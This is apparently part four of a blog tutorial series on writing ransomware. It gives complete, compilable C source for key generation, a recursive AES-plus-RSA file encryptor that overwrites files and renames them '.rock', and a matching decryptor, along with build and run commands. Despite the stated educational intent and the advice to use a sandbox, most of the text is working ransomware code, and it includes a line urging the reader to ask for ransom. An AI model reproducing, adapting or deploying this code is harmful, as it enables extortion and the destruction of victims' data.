Developing Ransomware Malware. Part 0x04
We need to create one to understand it.
Writing Our Own Ransomware Malware
for understand how the Cybercriminal write it.
In previous chapter we learnt
?In this chapter we will learn:
Now our trojan ransomware is taking shape. This is the main part where it actually finds all the drives, identifies the respective files, and encrypts them with an encryption key. Most ransomware does not encrypt the main system folders, such as “C:\Windows” or “C:\Program Files” in Windows, or /root, /etc, etc., in any Unix-like environment.
The reason is that it wants the victim to be able to boot the system. However, there are some types of ransomware that prevent the system from booting. As soon as you boot the system, it will ask for ransom.
?
Today's ransomware typically does not encrypt system files because it wants to use the infected system as a base for further activities, such as network and file analysis according to their needs. ?Ransomware typically targets a wide range of file types to maximize the impact on the victim. Some common file extensions targeted include:
Let’s understand the flow of what our Rock_Ransomware is going to do.
As soon as it infects the Windows registry, which we learned and coded in Chapter 03, it will generate a public and private key. The public key is used to encrypt all files. The private key is sent to its Remote command center, which we will learn about in the next chapter.
Some ransomware I have debugged has the public key integrated into itself. However, in our case, Rock_Ransomware generates a new public and private key . Once the private key is generated, it will be sent to the command center with the proper IP and other organizational information.
This is to ensure that if these cyber criminals have already infected other organizations, the private keys do not get mixed up. Therefore, along with the key, information about the organization and system valuable information is also sent.
So lets take a look at generation of private and public key code for encryption of files.
Below is a C code example that generates a public and private key pair using the Windows Cryptographic API (CryptoAPI), which is a native library in Windows.
keygen.c
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
void SaveKeyToFile(HCRYPTKEY hKey, const char *filename) {
DWORD keySize;
BYTE *keyBlob;
// Get the key size
CryptExportKey(hKey, 0, PRIVATEKEYBLOB, 0, NULL, &keySize);
// Allocate memory for the key
keyBlob = (BYTE*)malloc(keySize);
// Export the key
CryptExportKey(hKey, 0, PRIVATEKEYBLOB, 0, keyBlob, &keySize);
// Save the key to a file
FILE *file = fopen(filename, "wb");
fwrite(keyBlob, 1, keySize, file);
fclose(file);
free(keyBlob);
}
int main() {
HCRYPTPROV hProv;
HCRYPTKEY hKey;
// Acquire a cryptographic provider context
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET)) {
if (GetLastError() == NTE_EXISTS) {
CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0);
} else {
printf("Error during CryptAcquireContext!\n");
return 1;
}
}
// Generate a key pair
if (!CryptGenKey(hProv, AT_KEYEXCHANGE, 0x08000000 | CRYPT_EXPORTABLE, &hKey)) {
printf("Error during CryptGenKey!\n");
return 1;
}
// Save the private key
SaveKeyToFile(hKey, "PrivateKey.txt");
// Get the public key size
DWORD publicKeySize;
CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, NULL, &publicKeySize);
// Allocate memory for the public key
BYTE *publicKeyBlob = (BYTE*)malloc(publicKeySize);
// Export the public key
CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, publicKeyBlob, &publicKeySize);
// Save the public key to a file
FILE *file = fopen("PublicKey.txt", "wb");
fwrite(publicKeyBlob, 1, publicKeySize, file);
fclose(file);
free(publicKeyBlob);
CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);
return 0;
}
The keygen.c program generates a pair of RSA keys (a public key and a private key) using the Windows CryptoAPI. It saves the public key in a file called "PublicKey.txt" and the private key in a file called "PrivateKey.txt". This process involves creating a cryptographic context, generating the key pair, and exporting the keys to the respective files in a format that can be used by our Rock_Ramsomware programs for encryption and decryption.
To compile the above code use following command on command prompt of windows.
d:\aqua> cl keygen.c /link advapi32.lib
Once you execute the keygen.exe file, you will get two files:
?-PrivateKey.txt
- PublicKey.txt
Shown in below Image
The Privatekey.txt and EncryptedAESKey.txt files are the main keys used to decrypt all the files, encrypted by the public key. These are the keys we receive after paying the ransom to cybercriminals. Cybercriminals generally send the keys after payment, though there are some who do not, These cybercrimnal are hated in the cybercrime world as they dont have any ethics.
?
It’s important to note that our Rock_Ransomware generates Private,AES & Public key all the keys on the client machine, after generating the keys its send those keys to its Remote command centre and then delete its from the victims machine. This means there’s a chance the victim’s administrator might recover the PrivateKey.txt and the EncryptedAESKey.txt through proper forensic analysis. However, it depends on the ransomware’s implementation.
?
Therefore, there is a chance to retrieve the private key file if timely and proper network packet logging and monitoring analysis are done by the system administrators. However, 99.9% of the time, system administrators might miss something, which complicates the situation. This is not to blame them, as network design, maintenance, and daily user challenges can weaken network security.
?
Now that we have PrivateKey.txt and PublicKey.txt, let's encrypt all the files in a folder. ??
Now to encrypt all files in a given directory following code can be used , the code need the PublicKey.txt file ?, with out it it cannot encrypt the files, once the file are encrypted it will delete the original file and rename it to “.rock” e.g. If the file name is “Important.txt” , it will encrypt the file to “Important.txt.rock” and the original file will be deleted and you will only have encrypted file.
Encryption.c
领英推荐
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#include <string.h>
#define AES_KEY_SIZE 32 // 256-bit AES key
#define AES_BLOCK_SIZE 16
void SaveKeyToFile(const char *filename, BYTE *keyBlob, DWORD keyBlobLen) {
FILE *file = fopen(filename, "wb");
fwrite(keyBlob, 1, keyBlobLen, file);
fclose(file);
}
void MyEncryptFile(const char *filename, HCRYPTKEY hAesKey) {
printf("Encrypting file: %s\n", filename);
HANDLE hFile = CreateFile(filename, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Error opening file %s\n", filename);
return;
}
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE *fileData = (BYTE*)malloc(fileSize);
DWORD bytesRead;
if (!ReadFile(hFile, fileData, fileSize, &bytesRead, NULL)) {
printf("Error reading file %s\n", filename);
CloseHandle(hFile);
free(fileData);
return;
}
// Encrypt the file data with the AES key
DWORD dataLen = bytesRead; // Use the actual number of bytes read
DWORD cipherTextSize = ((dataLen / AES_BLOCK_SIZE) + 1) * AES_BLOCK_SIZE; // Ensure enough space for padding
BYTE *cipherText = (BYTE*)malloc(cipherTextSize);
memcpy(cipherText, fileData, dataLen); // Copy the file data into the ciphertext buffer
if (!CryptEncrypt(hAesKey, NULL, TRUE, 0, cipherText, &dataLen, cipherTextSize)) {
printf("Error encrypting file %s\n", filename);
CloseHandle(hFile);
free(fileData);
free(cipherText);
return;
}
// Seek to the beginning of the file and write the encrypted data back
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
SetEndOfFile(hFile); // Truncate the file if needed
if (!WriteFile(hFile, cipherText, dataLen, &bytesRead, NULL)) {
printf("Error writing encrypted data to file %s\n", filename);
}
CloseHandle(hFile);
free(fileData);
free(cipherText);
// Rename the original file with a ".rock" extension
char newFileName[MAX_PATH];
snprintf(newFileName, sizeof(newFileName), "%s.rock", filename);
if (!MoveFile(filename, newFileName)) {
printf("Error renaming file %s\n", filename);
}
}
void EncryptDirectory(const char *directory, HCRYPTKEY hAesKey) {
WIN32_FIND_DATA findFileData;
char searchPath[MAX_PATH];
snprintf(searchPath, sizeof(searchPath), "%s\\*", directory);
HANDLE hFind = FindFirstFile(searchPath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE) {
printf("Error finding files in directory %s\n", directory);
return;
}
do {
if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (strcmp(findFileData.cFileName, ".") != 0 && strcmp(findFileData.cFileName, "..") != 0) {
char subDirPath[MAX_PATH];
snprintf(subDirPath, sizeof(subDirPath), "%s\\%s", directory, findFileData.cFileName);
EncryptDirectory(subDirPath, hAesKey); // Recursively encrypt subdirectories
}
} else {
char filePath[MAX_PATH];
snprintf(filePath, sizeof(filePath), "%s\\%s", directory, findFileData.cFileName);
MyEncryptFile(filePath, hAesKey);
}
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);
}
int main(int argc, char *argv[]) {
if (argc != 3) {
printf("Usage: %s <directory> <public key file>\n", argv[0]);
return 1;
}
HCRYPTPROV hProv;
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("Error during CryptAcquireContext!\n");
return 1;
}
// Generate a random AES key
HCRYPTKEY hAesKey;
if (!CryptGenKey(hProv, CALG_AES_256, CRYPT_EXPORTABLE, &hAesKey)) {
printf("Error generating AES key!\n");
CryptReleaseContext(hProv, 0);
return 1;
}
// Export the AES key
DWORD aesKeyBlobLen;
CryptExportKey(hAesKey, 0, PLAINTEXTKEYBLOB, 0, NULL, &aesKeyBlobLen);
BYTE *aesKeyBlob = (BYTE*)malloc(aesKeyBlobLen);
CryptExportKey(hAesKey, 0, PLAINTEXTKEYBLOB, 0, aesKeyBlob, &aesKeyBlobLen);
// Import the RSA public key
FILE *pubKeyFile = fopen(argv[2], "rb");
fseek(pubKeyFile, 0, SEEK_END);
DWORD pubKeyBlobLen = ftell(pubKeyFile);
fseek(pubKeyFile, 0, SEEK_SET);
BYTE *pubKeyBlob = (BYTE*)malloc(pubKeyBlobLen);
fread(pubKeyBlob, 1, pubKeyBlobLen, pubKeyFile);
fclose(pubKeyFile);
HCRYPTKEY hPubKey;
if (!CryptImportKey(hProv, pubKeyBlob, pubKeyBlobLen, 0, 0, &hPubKey)) {
printf("Error importing public key!\n");
free(aesKeyBlob);
free(pubKeyBlob);
CryptDestroyKey(hAesKey);
CryptReleaseContext(hProv, 0);
return 1;
}
// Encrypt the AES key with the RSA public key
DWORD encAesKeyBlobLen = aesKeyBlobLen;
CryptEncrypt(hPubKey, 0, TRUE, 0, NULL, &encAesKeyBlobLen, 0);
BYTE *encAesKeyBlob = (BYTE*)malloc(encAesKeyBlobLen);
memcpy(encAesKeyBlob, aesKeyBlob, aesKeyBlobLen);
if (!CryptEncrypt(hPubKey, 0, TRUE, 0, encAesKeyBlob, &aesKeyBlobLen, encAesKeyBlobLen)) {
printf("Error encrypting AES key!\n");
free(aesKeyBlob);
free(pubKeyBlob);
free(encAesKeyBlob);
CryptDestroyKey(hAesKey);
CryptDestroyKey(hPubKey);
CryptReleaseContext(hProv, 0);
return 1;
}
// Save the encrypted AES key
SaveKeyToFile("EncryptedAESKey.txt", encAesKeyBlob, encAesKeyBlobLen);
EncryptDirectory(argv[1], hAesKey);
free(aesKeyBlob);
free(pubKeyBlob);
free(encAesKeyBlob);
CryptDestroyKey(hAesKey);
CryptDestroyKey(hPubKey);
CryptReleaseContext(hProv, 0);
return 0;
}
To compile the above code use this command?
d:\aqua> cl encryption.c /link advapi32.lib
Once the file is compiled, now you can execute it as shown below. The encryption file takes two parameters one the “Folder Name” i.e. Full Path which needs to be encrypted and second parameter is the "PublicKey.txt" for encryption , which is generated by our keygen.c file :
Please note, as we are learning to writing Ransomware/malware, Execute and Test this code in sandbox only or on your Testing Machine. Do Not execute it on you Live or Production environment.
D:\aqua> encryption.exe D:\TMP PublicKey.txt
as shown in the below image
Once the PublicKey.txt is copied, it will open the PublicKey.txt file, take the required info, and encrypt all the files in the provided parameters directory. Shown in below image.
You can see the comparison of the file, before and after below.
Now ! Its Time for you to ask Ransom from the [____________] once the files are encrypted.?
This will encrypt all the files in "D:\TMP". Please use caution and do not run this on "C:\Windows" or "C:\Program Files", as this could cause serious problems. If your data is encrypted and cannot be retrieved, I will not be responsible ??. I am just teaching you how to write ransomware to understand how it works and how you can take precautions and perform ransomware analysis. ?
Don’t worry we have PrivateKey.txt too ?? , so we can decrypt all the files.
Following is the decryption.c code which will decrypt the encrypted file.
Decryption.c
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#include <string.h>
#define AES_KEY_SIZE 32 // 256-bit AES key
#define AES_BLOCK_SIZE 16
HCRYPTKEY LoadAESKeyFromFile(HCRYPTPROV hProv, const char *filename, HCRYPTKEY hPrivKey) {
FILE *file = fopen(filename, "rb");
if (!file) {
printf("Error opening key file %s\n", filename);
return 0;
}
fseek(file, 0, SEEK_END);
DWORD encAesKeyBlobLen = ftell(file);
fseek(file, 0, SEEK_SET);
BYTE *encAesKeyBlob = (BYTE*)malloc(encAesKeyBlobLen);
fread(encAesKeyBlob, 1, encAesKeyBlobLen, file);
fclose(file);
DWORD aesKeyBlobLen = encAesKeyBlobLen;
CryptDecrypt(hPrivKey, 0, TRUE, 0, encAesKeyBlob, &aesKeyBlobLen);
BYTE *aesKeyBlob = (BYTE*)malloc(aesKeyBlobLen);
memcpy(aesKeyBlob, encAesKeyBlob, aesKeyBlobLen);
HCRYPTKEY hAesKey;
if (!CryptImportKey(hProv, aesKeyBlob, aesKeyBlobLen, 0, 0, &hAesKey)) {
printf("Error importing AES key from file %s\n", filename);
free(encAesKeyBlob);
free(aesKeyBlob);
return 0;
}
free(encAesKeyBlob);
free(aesKeyBlob);
return hAesKey;
}
void MyDecryptFile(const char *filename, HCRYPTKEY hAesKey) {
printf("Decrypting file: %s\n", filename);
HANDLE hFile = CreateFile(filename, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Error opening file %s\n", filename);
return;
}
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE *cipherText = (BYTE*)malloc(fileSize);
DWORD bytesRead;
if (!ReadFile(hFile, cipherText, fileSize, &bytesRead, NULL)) {
printf("Error reading file %s\n", filename);
CloseHandle(hFile);
free(cipherText);
return;
}
// Decrypt the file data with the AES key
DWORD dataLen = bytesRead;
BYTE *plainText = (BYTE*)malloc(dataLen);
memcpy(plainText, cipherText, dataLen); // Copy the ciphertext into the plaintext buffer
if (!CryptDecrypt(hAesKey, NULL, TRUE, 0, plainText, &dataLen)) {
printf("Error decrypting file %s\n", filename);
CloseHandle(hFile);
free(cipherText);
free(plainText);
return;
}
// Seek to the beginning of the file and write the decrypted data back
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
SetEndOfFile(hFile); // Truncate the file if needed
if (!WriteFile(hFile, plainText, dataLen, &bytesRead, NULL)) {
printf("Error writing decrypted data to file %s\n", filename);
}
CloseHandle(hFile);
free(cipherText);
free(plainText);
// Rename the decrypted file by removing the ".rock" extension
char newFileName[MAX_PATH];
strncpy(newFileName, filename, strlen(filename) - 5);
newFileName[strlen(filename) - 5] = '\0';
if (!MoveFile(filename, newFileName)) {
printf("Error renaming file %s\n", filename);
}
}
void DecryptDirectory(const char *directory, HCRYPTKEY hAesKey) {
WIN32_FIND_DATA findFileData;
char searchPath[MAX_PATH];
snprintf(searchPath, sizeof(searchPath), "%s\\*", directory);
HANDLE hFind = FindFirstFile(searchPath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE) {
printf("Error finding files in directory %s\n", directory);
return;
}
do {
if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (strcmp(findFileData.cFileName, ".") != 0 && strcmp(findFileData.cFileName, "..") != 0) {
char subDirPath[MAX_PATH];
snprintf(subDirPath, sizeof(subDirPath), "%s\\%s", directory, findFileData.cFileName);
DecryptDirectory(subDirPath, hAesKey); // Recursively decrypt subdirectories
}
} else {
char filePath[MAX_PATH];
snprintf(filePath, sizeof(filePath), "%s\\%s", directory, findFileData.cFileName);
MyDecryptFile(filePath, hAesKey);
}
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);
}
int main(int argc, char *argv[]) {
if (argc != 4) {
printf("Usage: %s <directory> <private key file> <encrypted AES key file>\n", argv[0]);
return 1;
}
HCRYPTPROV hProv;
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("Error during CryptAcquireContext!\n");
return 1;
}
// Import the RSA private key
FILE *privKeyFile = fopen(argv[2], "rb");
fseek(privKeyFile, 0, SEEK_END);
DWORD privKeyBlobLen = ftell(privKeyFile);
fseek(privKeyFile, 0, SEEK_SET);
BYTE *privKeyBlob = (BYTE*)malloc(privKeyBlobLen);
fread(privKeyBlob, 1, privKeyBlobLen, privKeyFile);
fclose(privKeyFile);
HCRYPTKEY hPrivKey;
if (!CryptImportKey(hProv, privKeyBlob, privKeyBlobLen, 0, 0, &hPrivKey)) {
printf("Error importing private key!\n");
free(privKeyBlob);
CryptReleaseContext(hProv, 0);
return 1;
}
// Load the encrypted AES key and decrypt it using the private RSA key
HCRYPTKEY hAesKey = LoadAESKeyFromFile(hProv, argv[3], hPrivKey);
if (!hAesKey) {
free(privKeyBlob);
CryptDestroyKey(hPrivKey);
CryptReleaseContext(hProv, 0);
return 1;
}
DecryptDirectory(argv[1], hAesKey);
free(privKeyBlob);
CryptDestroyKey(hPrivKey);
CryptDestroyKey(hAesKey);
CryptReleaseContext(hProv, 0);
return 0;
}
Again, to compile the decryption.c code use the following command. The decryption file needs three parameters, first the "Folder Path" which need to be decrypted, second the PrivateKey.txt and Third the EncryptedAESKey.txt which is generated by the encryption.c code.
To compile the above decryption code use
c:\> cl decryption.c /link advapi32.lib
You can run the decryption executable like this.
c:\> dec c:\tmp PrivateKey.txt EncryptedAESKey.txt
To decrypt the files from c:\tmp folder you need to have two files PrivateKey.txt and EncryptedAESKey.txt, If you don’t have any of the keys it will not decrypt. On the Cybercriminal gets its ransom , he will send these keys with decryption executable. so you can decrypt all the file in the HARDDRIVE.
Below image show the decryption in action.
and the following image show all the files are converted as it is , meaning As if Nothing happened ??
WOW! that was really a heck of main code! Thanks a lot for your time ?? ?
In next chapter we will learn how the ransomware send the created KEYS files to the remote command centre, which is a remote chat server called iRC chat. The cybercriminal has full access to it and by sitting remotely how they control the victims machine we will see that. See you in next chapter ??
Once again thanks a lot for your time.